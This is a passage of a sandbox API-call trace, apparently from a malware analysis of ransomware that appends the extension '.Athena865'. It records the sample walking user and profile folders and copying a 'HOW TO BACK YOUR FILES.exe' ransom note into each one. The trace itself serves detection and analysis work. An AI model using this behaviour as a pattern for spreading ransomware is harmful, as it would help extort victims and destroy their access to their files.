lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc62f060, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0053.493] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0053.493] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc4c86a00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4c86a00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Programs", cAlternateFileName="")) returned 1 [0053.493] lstrcmpiW (lpString1="Programs", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.493] lstrcmpiW (lpString1="Programs", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.493] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Programs" | out: lpString1="Programs") returned="Programs" [0053.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c6e0 [0053.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x70) returned 0x52d930 [0053.493] lstrcatW (in: lpString1="Programs", lpString2="\\" | out: lpString1="Programs\\") returned="Programs\\" [0053.493] lstrcatW (in: lpString1="Programs\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Programs\\HOW TO BACK YOUR FILES.exe") returned="Programs\\HOW TO BACK YOUR FILES.exe" [0053.493] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\start menu\\programs\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.494] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f57ecb5, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x7f57ecb5, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0xc4c86a00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Update.lnk.Athena865", cAlternateFileName="WINDOW~1.ATH")) returned 1 [0053.494] lstrcmpiW (lpString1="Windows Update.lnk.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.494] lstrcmpiW (lpString1="Windows Update.lnk.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.494] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Windows Update.lnk.Athena865" | out: lpString1="Windows Update.lnk.Athena865") returned="Windows Update.lnk.Athena865" [0053.494] lstrlenW (lpString="Windows Update.lnk.Athena865") returned 28 [0053.494] lstrlenW (lpString="Athena865") returned 9 [0053.494] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0053.494] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f57ecb5, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x7f57ecb5, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0xc4c86a00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Update.lnk.Athena865", cAlternateFileName="WINDOW~1.ATH")) returned 0 [0053.494] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0053.494] ReleaseMutex (hMutex=0xec) returned 1 [0053.494] CloseHandle (hObject=0xec) returned 1 [0053.494] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Sun" | out: lpString1="C:\\Documents and Settings\\All Users\\Sun") returned="C:\\Documents and Settings\\All Users\\Sun" [0053.494] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x515fa8 | out: hHeap=0x4f0000) returned 1 [0053.494] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c6f8 | out: hHeap=0x4f0000) returned 1 [0053.494] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Sun") returned 39 [0053.494] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\3DDB69DA7CA8AB75DA1D409447D44E19") returned 0xec [0053.494] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0053.495] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Sun" | out: lpString1="C:\\Documents and Settings\\All Users\\Sun") returned="C:\\Documents and Settings\\All Users\\Sun" [0053.495] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0053.495] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Sun\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\sun\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.495] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Sun\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\sun\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0053.495] GetLastError () returned 0x0 [0053.495] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0053.495] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0053.495] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0053.496] CloseHandle (hObject=0xf4) returned 1 [0053.496] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0053.496] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0053.496] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Sun\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xbc6551c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc6551c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0053.496] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.496] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.496] lstrcpyW (in: lpString1=0x241e898, lpString2="Java" | out: lpString1="Java") returned="Java" [0053.496] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c6f8 [0053.496] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5a) returned 0x51b260 [0053.496] lstrcatW (in: lpString1="Java", lpString2="\\" | out: lpString1="Java\\") returned="Java\\" [0053.496] lstrcatW (in: lpString1="Java\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Java\\HOW TO BACK YOUR FILES.exe") returned="Java\\HOW TO BACK YOUR FILES.exe" [0053.497] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Sun\\Java\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\sun\\java\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.497] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xc4cacb60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4cacb60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0053.497] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0053.497] ReleaseMutex (hMutex=0xec) returned 1 [0053.497] CloseHandle (hObject=0xec) returned 1 [0053.497] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Templates" | out: lpString1="C:\\Documents and Settings\\All Users\\Templates") returned="C:\\Documents and Settings\\All Users\\Templates" [0053.497] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51b2c8 | out: hHeap=0x4f0000) returned 1 [0053.497] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c710 | out: hHeap=0x4f0000) returned 1 [0053.497] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Templates") returned 45 [0053.497] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\9E96816F62E7E8500D59EAE6D728884F") returned 0xec [0053.497] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0053.497] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Templates" | out: lpString1="C:\\Documents and Settings\\All Users\\Templates") returned="C:\\Documents and Settings\\All Users\\Templates" [0053.497] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0053.497] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\templates\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.498] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\templates\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0053.498] GetLastError () returned 0x0 [0053.498] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0053.498] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0053.498] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0053.499] CloseHandle (hObject=0xf4) returned 1 [0053.499] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0053.499] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0053.499] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Templates\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc6551c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc6551c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0053.499] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.499] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.499] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\AppData" | out: lpString1="C:\\Documents and Settings\\Default\\AppData") returned="C:\\Documents and Settings\\Default\\AppData" [0053.499] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5286b0 | out: hHeap=0x4f0000) returned 1 [0053.499] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c260 | out: hHeap=0x4f0000) returned 1 [0053.499] lstrlenW (lpString="C:\\Documents and Settings\\Default\\AppData") returned 41 [0053.499] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0D81D0F65ABB3BFB6655E03C7B1D2914") returned 0xec [0053.499] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0053.500] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\AppData" | out: lpString1="C:\\Documents and Settings\\Default\\AppData") returned="C:\\Documents and Settings\\Default\\AppData" [0053.500] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0053.500] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\AppData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\appdata\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.500] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\AppData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\appdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0053.500] GetLastError () returned 0x0 [0053.500] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0053.500] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0053.500] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0053.501] CloseHandle (hObject=0xf4) returned 1 [0053.501] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0053.501] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0053.501] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\AppData\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf42440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf42440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0053.501] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.501] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.501] lstrcpyW (in: lpString1=0x241e89c, lpString2="Local" | out: lpString1="Local") returned="Local" [0053.501] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c260 [0053.501] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x60) returned 0x51b2c8 [0053.501] lstrcatW (in: lpString1="Local", lpString2="\\" | out: lpString1="Local\\") returned="Local\\" [0053.502] lstrcatW (in: lpString1="Local\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Local\\HOW TO BACK YOUR FILES.exe") returned="Local\\HOW TO BACK YOUR FILES.exe" [0053.502] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\AppData\\Local\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\appdata\\local\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.502] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0053.502] lstrcmpiW (lpString1="LocalLow", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.502] lstrcmpiW (lpString1="LocalLow", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.502] lstrcpyW (in: lpString1=0x241e89c, lpString2="LocalLow" | out: lpString1="LocalLow") returned="LocalLow" [0053.502] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ad50 [0053.502] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x66) returned 0x52ec10 [0053.502] lstrcatW (in: lpString1="LocalLow", lpString2="\\" | out: lpString1="LocalLow\\") returned="LocalLow\\" [0053.502] lstrcatW (in: lpString1="LocalLow\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="LocalLow\\HOW TO BACK YOUR FILES.exe") returned="LocalLow\\HOW TO BACK YOUR FILES.exe" [0053.502] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\AppData\\LocalLow\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\appdata\\locallow\\how to back your files.exe"), bFailIfExists=1) returned 1 [0053.507] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf42440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf42440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0053.507] lstrcmpiW (lpString1="Roaming", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.507] lstrcmpiW (lpString1="Roaming", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.507] lstrcpyW (in: lpString1=0x241e89c, lpString2="Roaming" | out: lpString1="Roaming") returned="Roaming" [0053.507] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ad68 [0053.507] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x64) returned 0x52ec80 [0053.507] lstrcatW (in: lpString1="Roaming", lpString2="\\" | out: lpString1="Roaming\\") returned="Roaming\\" [0053.508] lstrcatW (in: lpString1="Roaming\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Roaming\\HOW TO BACK YOUR FILES.exe") returned="Roaming\\HOW TO BACK YOUR FILES.exe" [0053.508] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\AppData\\Roaming\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\appdata\\roaming\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.508] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf42440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf42440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0053.508] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0053.510] ReleaseMutex (hMutex=0xec) returned 1 [0053.510] CloseHandle (hObject=0xec) returned 1 [0053.510] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\Application Data" | out: lpString1="C:\\Documents and Settings\\Default\\Application Data") returned="C:\\Documents and Settings\\Default\\Application Data" [0053.511] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cad8 | out: hHeap=0x4f0000) returned 1 [0053.511] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c728 | out: hHeap=0x4f0000) returned 1 [0053.511] lstrlenW (lpString="C:\\Documents and Settings\\Default\\Application Data") returned 50 [0053.511] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\39A55CF2FE31FFC8EAA9D2D888DEDB42") returned 0xec [0053.511] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0053.511] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\Application Data" | out: lpString1="C:\\Documents and Settings\\Default\\Application Data") returned="C:\\Documents and Settings\\Default\\Application Data" [0053.511] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0053.511] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.511] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\application data\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0053.511] GetLastError () returned 0x0 [0053.511] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0053.512] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0053.512] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0053.512] CloseHandle (hObject=0xf4) returned 1 [0053.512] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0053.512] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0053.512] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\Application Data\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf42440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf42440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0053.513] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.513] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.513] lstrcpyW (in: lpString1=0x241e8ae, lpString2="Identities" | out: lpString1="Identities") returned="Identities" [0053.513] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c728 [0053.514] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7c) returned 0x519800 [0053.514] lstrcatW (in: lpString1="Identities", lpString2="\\" | out: lpString1="Identities\\") returned="Identities\\" [0053.514] lstrcatW (in: lpString1="Identities\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Identities\\HOW TO BACK YOUR FILES.exe") returned="Identities\\HOW TO BACK YOUR FILES.exe" [0053.514] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Application Data\\Identities\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\application data\\identities\\how to back your files.exe"), bFailIfExists=1) returned 1 [0053.516] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0053.516] lstrcmpiW (lpString1="Microsoft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.516] lstrcmpiW (lpString1="Microsoft", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.516] lstrcpyW (in: lpString1=0x241e8ae, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft" [0053.516] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c710 [0053.516] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7a) returned 0x519888 [0053.516] lstrcatW (in: lpString1="Microsoft", lpString2="\\" | out: lpString1="Microsoft\\") returned="Microsoft\\" [0053.516] lstrcatW (in: lpString1="Microsoft\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft\\HOW TO BACK YOUR FILES.exe") returned="Microsoft\\HOW TO BACK YOUR FILES.exe" [0053.516] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Application Data\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\application data\\microsoft\\how to back your files.exe"), 